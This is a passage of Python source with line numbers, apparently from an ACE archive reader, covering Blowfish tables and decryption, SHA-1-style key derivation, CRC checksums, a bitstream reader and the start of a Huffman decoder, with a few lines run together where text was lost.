0xEAC31F66, 558 | 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 559 | 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 560 | 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84, 561 | 0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 562 | 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 563 | 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 564 | 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E, 565 | 0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 566 | 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 567 | 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 568 | 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281, 569 | 0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 570 | 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 571 | 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 572 | 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73, 573 | 0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 574 | 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 575 | 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 576 | 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250, 577 | 0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 578 | 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 579 | 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 580 | 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061, 581 | 0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 582 | 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 583 | 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 584 | 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC, 585 | 0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 586 | 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 587 | 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 588 | 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7) 589 | 590 | BF_S2 = ( 591 | 0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 592 | 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 593 | 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 594 | 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840, 595 | 0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 596 | 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 597 | 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 598 | 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB, 599 | 0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 600 | 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 601 | 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 602 | 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B, 603 | 0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 604 | 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 605 | 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 606 | 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B, 607 | 0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 608 | 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 609 | 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 610 | 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC, 611 | 0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 612 | 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 613 | 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 614 | 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115, 615 | 0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 616 | 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 617 | 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 618 | 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E, 619 | 0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 620 | 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 621 | 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 622 | 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B, 623 | 0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 624 | 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 625 | 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 626 | 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C, 627 | 0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 628 | 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 629 | 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 630 | 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE, 631 | 0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 632 | 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 633 | 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 634 | 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61, 635 | 0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 636 | 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 637 | 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 638 | 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C, 639 | 0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 640 | 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 641 | 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 642 | 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169, 643 | 0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 644 | 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 645 | 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 646 | 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62, 647 | 0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 648 | 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 649 | 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 650 | 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC, 651 | 0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 652 | 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 653 | 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 654 | 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0) 655 | 656 | BF_S3 = ( 657 | 0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 658 | 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 659 | 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 660 | 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4, 661 | 0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 662 | 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 663 | 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 664 | 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22, 665 | 0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 666 | 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 667 | 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 668 | 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59, 669 | 0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 670 | 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 671 | 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 672 | 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C, 673 | 0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 674 | 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 675 | 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 676 | 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD, 677 | 0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 678 | 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 679 | 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 680 | 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F, 681 | 0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 682 | 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 683 | 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 684 | 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166, 685 | 0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 686 | 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 687 | 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 688 | 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47, 689 | 0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 690 | 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 691 | 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 692 | 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048, 693 | 0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 694 | 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 695 | 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 696 | 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7, 697 | 0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 698 | 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 699 | 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 700 | 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525, 701 | 0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 702 | 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 703 | 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 704 | 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E, 705 | 0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 706 | 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 707 | 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 708 | 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299, 709 | 0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 710 | 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 711 | 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 712 | 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A, 713 | 0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 714 | 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 715 | 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 716 | 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060, 717 | 0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 718 | 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 719 | 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 720 | 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6) 721 | 722 | def __init__(self, pwd): 723 | """ 724 | Initialize decryption engine with a key derived from password *pwd*, 725 | which can be str or bytes. 726 | """ 727 | if isinstance(pwd, str): 728 | pwd = pwd.encode('utf-8') 729 | self._bf_init(self._derive_key(pwd)) 730 | 731 | def _derive_key(self, pwd): 732 | """ 733 | Derive the decryption key from password bytes *pwd* using a single 734 | application of SHA-1 using non-standard padding. The password is 735 | truncated to a maximum of 50 bytes before key derivation. 736 | 737 | >>> AceBlowfish._derive_key(None, b'123456789') 738 | (3071200156, 3325860325, 4058316933, 1308772094, 896611998) 739 | """ 740 | if len(pwd) > 50: 741 | pwd = pwd[:50] 742 | buf = pwd + bytes([0x80] + [0] * (64 - len(pwd) - 5)) 743 | state = [] 744 | state.extend(struct.unpack('<15L', buf)) 745 | state.append(len(pwd) << 3) 746 | for i in range(len(state), 80): 747 | state.append(state[i-16] ^ state[i-14] ^ state[i-8] ^ state[i-3]) 748 | a = AceBlowfish.SHA1_A 749 | b = AceBlowfish.SHA1_B 750 | c = AceBlowfish.SHA1_C 751 | d = AceBlowfish.SHA1_D 752 | e = AceBlowfish.SHA1_E 753 | for i in range(20): 754 | a, b, c, d, e = \ 755 | c_sum32(c_rot32(a, 5), ((b&c)|(~b&d)), e, state[i], 756 | 0x5a827999), a, c_rot32(b, 30), c, d 757 | for i in range(20, 40): 758 | a, b, c, d, e = \ 759 | c_sum32(c_rot32(a, 5), (b^c^d), e, state[i], 760 | 0x6ed9eba1), a, c_rot32(b, 30), c, d 761 | for i in range(40, 60): 762 | a, b, c, d, e = \ 763 | c_sum32(c_rot32(a, 5), ((b&c)|(b&d)|(c&d)), e, state[i], 764 | 0x8f1bbcdc), a, c_rot32(b, 30), c, d 765 | for i in range(60, 80): 766 | a, b, c, d, e = \ 767 | c_sum32(c_rot32(a, 5), (b^c^d), e, state[i], 768 | 0xca62c1d6), a, c_rot32(b, 30), c, d 769 | a = c_add32(a, AceBlowfish.SHA1_A) 770 | b = c_add32(b, AceBlowfish.SHA1_B) 771 | c = c_add32(c, AceBlowfish.SHA1_C) 772 | d = c_add32(d, AceBlowfish.SHA1_D) 773 | e = c_add32(e, AceBlowfish.SHA1_E) 774 | return (a, b, c, d, e) 775 | 776 | def _bf_init(self, key): 777 | """ 778 | Initialize blowfish state using 160-bit key *key* as list or tuple of 779 | integers. 780 | """ 781 | self.__p = [self.BF_P[i] ^ key[i % len(key)] \ 782 | for i in list(range(len(self.BF_P)))] 783 | self.__s = (list(self.BF_S0), list(self.BF_S1), 784 | list(self.BF_S2), list(self.BF_S3)) 785 | self.__lastcl = 0 786 | self.__lastcr = 0 787 | l = r = 0 788 | for i in range(0, 18, 2): 789 | l, r = self._bf_encrypt_block(l, r) 790 | self.__p[i] = l 791 | self.__p[i + 1] = r 792 | for i in range(0, 4): 793 | for j in range(0, 256, 2): 794 | l, r = self._bf_encrypt_block(l, r) 795 | self.__s[i][j] = l 796 | self.__s[i][j + 1] = r 797 | 798 | def _bf_func(self, x): 799 | """ 800 | The blowfish round function operating on an integer. 801 | """ 802 | h = c_add32(self.__s[0][x >> 24], self.__s[1][x >> 16 & 0xff]) 803 | return c_add32((h ^ self.__s[2][x >> 8 & 0xff]), self.__s[3][x & 0xff]) 804 | 805 | def _bf_encrypt_block(self, l, r): 806 | """ 807 | Encrypt a single block consisting of integers *l* and *r*. 808 | """ 809 | for i in range(0, 16, 2): 810 | l ^= self.__p[i] 811 | r ^= self._bf_func(l) 812 | r ^= self.__p[i+1] 813 | l ^= self._bf_func(r) 814 | l ^= self.__p[16] 815 | r ^= self.__p[17] 816 | return (r, l) 817 | 818 | def _bf_decrypt_block(self, l, r): 819 | """ 820 | Decrypt a single block consisting of integers *l* and *r*. 821 | """ 822 | for i in range(16, 0, -2): 823 | l ^= self.__p[i+1] 824 | r ^= self._bf_func(l) 825 | r ^= self.__p[i] 826 | l ^= self._bf_func(r) 827 | l ^= self.__p[1] 828 | r ^= self.__p[0] 829 | return (r, l) 830 | 831 | def decrypt(self, buf): 832 | """ 833 | Decrypt a buffer of complete blocks, i.e. of length that is a multiple 834 | of the block size returned by the blocksize property. 835 | AceBlowfish uses Blowfish in CBC mode with an IV of all zeroes on the 836 | first call, and an IV of the last ciphertext block on subsequent calls. 837 | Does not remove any padding. 838 | """ 839 | assert len(buf) % self.blocksize == 0 840 | out = [] 841 | for i in range(0, len(buf), 8): 842 | cl, cr = struct.unpack('>> crc = AceCRC32() 873 | >>> crc += b"12345" 874 | >>> crc += b"6789" 875 | >>> crc.sum 876 | 873187033 877 | >>> crc == 873187033 878 | True 879 | """ 880 | 881 | def __init__(self, buf=b''): 882 | """ 883 | Initialize and add bytes in *buf* into checksum. 884 | """ 885 | self.__state = 0 886 | if len(buf) > 0: 887 | self += buf 888 | 889 | def __iadd__(self, buf): 890 | """ 891 | Adding a buffer of bytes into the checksum, updating the rolling 892 | checksum from all previously added buffers. 893 | """ 894 | self.__state = zlib.crc32(buf, self.__state) 895 | return self 896 | 897 | def __eq__(self, other): 898 | """ 899 | Compare the checksum to a fixed value or another ACE CRC32 object. 900 | """ 901 | return self.sum == other 902 | 903 | def __format__(self, format_spec): 904 | """ 905 | Format the checksum for printing. 906 | """ 907 | return self.sum.__format__(format_spec) 908 | 909 | def __str__(self): 910 | """ 911 | String representation of object is hex value of checksum. 912 | """ 913 | return "0x%08x" % self.sum 914 | 915 | @property 916 | def sum(self): 917 | """ 918 | The final checksum. 919 | """ 920 | return self.__state ^ 0xFFFFFFFF 921 | 922 | class AceCRC16(AceCRC32): 923 | """ 924 | Calculate an ACE CRC-16 checksum, which is actually just the lower 16 bits 925 | of an ACE CRC-32. 926 | 927 | >>> crc = AceCRC16() 928 | >>> crc += b"12345" 929 | >>> crc += b"6789" 930 | >>> crc.sum 931 | 50905 932 | >>> crc == 50905 933 | True 934 | """ 935 | def __str__(self): 936 | """ 937 | String representation of object is hex value of checksum. 938 | """ 939 | return "0x%04x" % self.sum 940 | 941 | @property 942 | def sum(self): 943 | """ 944 | The checksum. 945 | """ 946 | return super().sum & 0xFFFF 947 | 948 | def ace_crc32(buf): 949 | """ 950 | Return the ACE CRC-32 checksum of the bytes in *buf*. 951 | 952 | >>> ace_crc32(b"123456789") 953 | 873187033 954 | """ 955 | return AceCRC32(buf).sum 956 | 957 | def ace_crc16(buf): 958 | """ 959 | Return the ACE CRC-16 checksum of the bytes in *buf*. 960 | 961 | >>> ace_crc16(b"123456789") 962 | 50905 963 | """ 964 | return AceCRC16(buf).sum 965 | 966 | 967 | 968 | class BitStream: 969 | """ 970 | Intel-endian 32bit-byte-swapped, MSB first bitstream, reading from an 971 | underlying file-like object that does not need to be seekable, but is 972 | expected to be a multiple of 4 in length. 973 | 974 | >>> bs = BitStream(io.BytesIO(b'01234567')) 975 | >>> bs.peek_bits(31) 976 | 429463704 977 | >>> bs.read_bits(31) 978 | 429463704 979 | >>> bs.skip_bits(3) 980 | >>> bs.read_bits(5) 981 | 27 982 | >>> bs.read_golomb_rice(3) 983 | 20 984 | >>> bs.read_golomb_rice(2, True) 985 | -2 986 | >>> bs.read_knownwidth_uint(10) 987 | 618 988 | >>> bs.read_bits(7) 989 | 52 990 | >>> bs.peek_bits(31) 991 | 0 992 | >>> bs.read_bits(1) 993 | Traceback (most recent call last): 994 | ... 995 | EOFError 996 | >>> BitStream(io.BytesIO(b'012')).read_bits(31) 997 | Traceback (most recent call last): 998 | ... 999 | ValueError 1000 | """ 1001 | 1002 | @staticmethod 1003 | def _getbits(value, start, length): 1004 | """ 1005 | Return *length* bits from byte *value*, starting at position *start*. 1006 | Behaviour is undefined for start < 0, length < 0 or start + length > 32. 1007 | """ 1008 | #assert start >= 0 and length >= 0 and start + length <= 32 1009 | mask = ((0xFFFFFFFF << (32 - length)) & 0xFFFFFFFF) >> start 1010 | return (value & mask) >> (32 - length - start) 1011 | 1012 | def __init__(self, f): 1013 | """ 1014 | Initialize BitStream reading from file-like object *f* until EOF. 1015 | """ 1016 | self.__file = f 1017 | self.__buf = array.array('I') 1018 | self.__len = 0 # in bits 1019 | self.__pos = 0 # in bits 1020 | self._refill() 1021 | 1022 | def _refill(self): 1023 | """ 1024 | Refill the internal buffer with data read from file. 1025 | """ 1026 | tmpbuf = self.__file.read(FILE_BLOCKSIZE) 1027 | if len(tmpbuf) == 0: 1028 | raise EOFError("Cannot refill beyond EOF") 1029 | if len(tmpbuf) % 4 != 0: 1030 | raise ValueError("Truncated 32-bit word from file-like object") 1031 | 1032 | newbuf = self.__buf[-1:] 1033 | for i in range(0, len(tmpbuf), 4): 1034 | newbuf.append(struct.unpack(' 0: 1036 | self.__pos -= (self.__len - 32) 1037 | self.__buf = newbuf 1038 | self.__len = 32 * len(newbuf) 1039 | 1040 | def skip_bits(self, bits): 1041 | """ 1042 | Skip *bits* bits in the stream. 1043 | Raise EOFError when skipping beyond the end of the input file data. 1044 | The pure-python implementation supports skipping arbitrarily many 1045 | *bits* while the c implementation is limited to a maximum of 31. 1046 | """ 1047 | if self.__pos + bits > self.__len: 1048 | self._refill() 1049 | self.__pos += bits 1050 | 1051 | def peek_bits(self, bits): 1052 | """ 1053 | Peek at next *bits* bits in the stream without incrementing position. 1054 | A maximum of 31 bits beyond the end of the input file data are 1055 | guaranteed to be peekable; these bits are always unset. 1056 | The pure-python implementation supports peeking arbitrarily many 1057 | *bits* while the c implementation is limited to a maximum of 31. 1058 | """ 1059 | if self.__pos + bits > self.__len: 1060 | try: 1061 | self._refill() 1062 | except EOFError: 1063 | if len(self.__buf) * 32 == self.__len: 1064 | self.__buf.append(0) 1065 | if self.__pos + bits > self.__len + 31: 1066 | raise 1067 | 1068 | peeked = min(bits, 32 - (self.__pos % 32)) 1069 | res = self._getbits(self.__buf[self.__pos // 32], 1070 | self.__pos % 32, peeked) 1071 | while bits - peeked >= 32: 1072 | res <<= 32 1073 | res += self.__buf[(self.__pos + peeked) // 32] 1074 | peeked += 32 1075 | if bits - peeked > 0: 1076 | res <<= bits - peeked 1077 | res += self._getbits(self.__buf[(self.__pos + peeked) // 32], 1078 | 0, bits - peeked) 1079 | return res 1080 | 1081 | def read_bits(self, bits): 1082 | """ 1083 | Read *bits* bits from bitstream and increment position accordingly. 1084 | The pure-python implementation supports reading arbitrarily many 1085 | *bits* while the c implementation is limited to a maximum of 31. 1086 | """ 1087 | value = self.peek_bits(bits) 1088 | self.skip_bits(bits) 1089 | return value 1090 | 1091 | def read_golomb_rice(self, r_bits, signed=False): 1092 | """ 1093 | Read a Golomb-Rice code with *r_bits* remainder bits and an arbitrary 1094 | number of quotient bits from bitstream and return the represented 1095 | value. Iff *signed* is True, interpret the lowest order bit as sign 1096 | bit and return a signed integer. 1097 | """ 1098 | if r_bits == 0: 1099 | value = 0 1100 | else: 1101 | assert r_bits > 0 1102 | value = self.read_bits(r_bits) 1103 | while self.read_bits(1) == 1: 1104 | value += 1 << r_bits 1105 | if signed == False: 1106 | return value 1107 | if value & 1: 1108 | return - (value >> 1) - 1 1109 | else: 1110 | return value >> 1 1111 | 1112 | def read_knownwidth_uint(self, bits): 1113 | """ 1114 | Read an unsigned integer with previously known bit width *bits* from 1115 | stream. The most significant bit is not encoded in the bit stream, 1116 | because it is always 1. 1117 | """ 1118 | if bits < 2: 1119 | return bits 1120 | bits -= 1 1121 | return self.read_bits(bits) + (1 << bits) 1122 | 1123 | 1124 | 1125 | if acebitstream != None: 1126 | class BitStream_c(acebitstream.BitStream): 1127 | read_golomb_rice = BitStream.read_golomb_rice 1128 | read_knownwidth_uint = BitStream.read_knownwidth_uint 1129 | 1130 | BitStream_c.__doc__ = BitStream.__doc__ 1131 | BitStream = BitStream_c 1132 | 1133 | 1134 | 1135 | class AceMode: 1136 | """ 1137 | Represent and parse compression submode information from a bitstream. 1138 | """ 1139 | @classmethod 1140 | def read_from(cls, bs): 1141 | mode = cls(bs.read_bits(8)) 1142 | if mode.mode == ACE.MODE_LZ77_DELTA: 1143 | mode.delta_dist = bs.read_bits(8) 1144 | mode.delta_len = bs.read_bits(17) 1145 | elif mode.mode == ACE.MODE_LZ77_EXE: 1146 | mode.exe_mode = bs.read_bits(8) 1147 | if DEBUG: 1148 | eprint(mode) 1149 | return mode 1150 | 1151 | def __init__(self, mode): 1152 | self.mode = mode 1153 | 1154 | def __str__(self): 1155 | args = '' 1156 | if self.mode == ACE.MODE_LZ77_DELTA: 1157 | args = " delta_dist=%i delta_len=%i" % (self.delta_dist, 1158 | self.delta_len) 1159 | elif self.mode == ACE.MODE_LZ77_EXE: 1160 | args = " exe_mode=%i" % self.exe_mode 1161 | return "%s(%i)%s" % (ACE.mode_str(self.mode), self.mode, args) 1162 | 1163 | 1164 | 1165 | class Huffman: 1166 | """ 1167 | Huffman decoder engine. 1168 | """ 1169 | 1170 | class Tree: 1171 | """ 1172 | Huffman tree reconstructed from bitstream, internally represented by 1173 | a table mapping (length-extended) codes to symbols and a table mapping 1174 | symbols to bit widths. 1175 | """ 1176 | def __init__(self, codes, widths, max_width): 1177 | self.codes = codes 1178 | self.widths = widths 1179 | self.max_width = max_width 1180 | 1181 | def read_symbol(self, bs): 1182 | """ 1183 | Read a single Huffman symbol from BitStream *bs* by peeking the 1184 | maximum code length in bits from the bit stream, looking up the 1185 | symbol and its width, and finally skipping the actual width of 1186 | the code for the symbol in the bit stream. 1187 | """ 1188 | symbol = self.codes[bs.peek_bits(self.max_width)] 1189 | bs.skip_bits(self.widths[symbol]) 1190 | return symbol 1191 | 1192 | 1193 | WIDTHWIDTHBITS = 3 1194 | MAXWIDTHWIDTH = (1 << WIDTHWIDTHBITS) - 1 1195 | 1196 | @staticmethod 1197 | def _quicksort(keys, values): 1198 | """ 1199 | In-place quicksort of lists *keys* and *values* in descending order of 1200 | *keys*. Python uses a stable sorting algorithm, while the 1201 | reconstruction of the correct Huffman trees depends on the sorting 1202 | being unstable in exactly the way of this quicksort implementation. 1203 | 1204 | >>> k, v = [1, 0, 0, 1, 2, 0, 0], list(range(7)) 1205 | >>> Huffman._quicksort(k, v) 1206 | >>> (k, v) 1207 | ([2, 1, 1, 0, 0, 0, 0], [4, 0, 3, 5, 6, 2, 1]) 1208 | """ 1209 | def _quicksort_subrange(left, right): 1210 | def _list_swap(_list, a, b): 1211 | """ 1212 | >>> a = list(range(9)) 1213 | >>> _list_swap(a, 3, 6) 1214 | [0, 1, 2, 6, 4, 5, 3, 7, 8, 9] 1215 | """ 1216 | _list[a], _list[b] = _list[b], _list[a] 1217 | 1218 | new_left = left 1219 | new_right = right 1220 | m = keys[right] 1221 | while True: 1222 | while keys[new_left] > m: 1223 | new_left += 1 1224 | while keys[new_right] < m: 1225 | new_right -= 1 1226 | if new_left <= new_right: 1227 | _list_swap(keys, new_left, new_right) 1228 | _list_swap(values, new_left, new_right) 1229 | new_left += 1 1230 | new_right -= 1 1231 | if new_left >= new_right: 1232 | break 1233 | if left < new_right: 1234 | if left < new_right - 1: 1235 | _quicksort_subrange(left, new_right) 1236 | else: 1237 | if keys[left] < keys[new_right]: 1238 | _list_swap(keys, left, new_right) 1239 | _list_swap(values, left, new_right) 1240 | if right > new_left: 1241 | if new_left < right - 1: 1242 | _quicksort_subrange(new_left, right) 1243 | else: 1244 | if keys[new_left] < keys[right]: 1245 | _list_swap(keys, new_left, right) 1246 | _list_swap(values, new_left, right) 1247 | 1248 | assert len(keys) == len(values) 1249 | _quicksort_subrange(0, len(keys) - 1) 1250 | 1251 | @staticmethod 1252 | def _make_tree(widths, max_width): 1253 | """ 1254 | Calculate the list of Huffman codes corresponding to the symbols 1255 | implicitly described by the list of *widths* and maximal width 1256 | *max_width*, and return a Huffman.Tree object representing the 1257 | resulting Huffman tree. 1258 | """ 1259 | sorted_symbols = list(range(len(widths))) 1260 | sorted_widths = list(widths) 1261 | Huffman._quicksort(sorted_widths, sorted_symbols) 1262 | 1263 | used = 0 1264 | while used < len(sorted_widths) and sorted_widths[used] != 0: 1265 | used += 1 1266 | 1267 | if used < 2: 1268 | widths[sorted_symbols[0]] = 1 1269 | if used == 0: 1270 | used += 1 1271 | del sorted_symbols[used:] 1272 | del sorted_widths[used:] 1273 | 1274 | codes = [] 1275 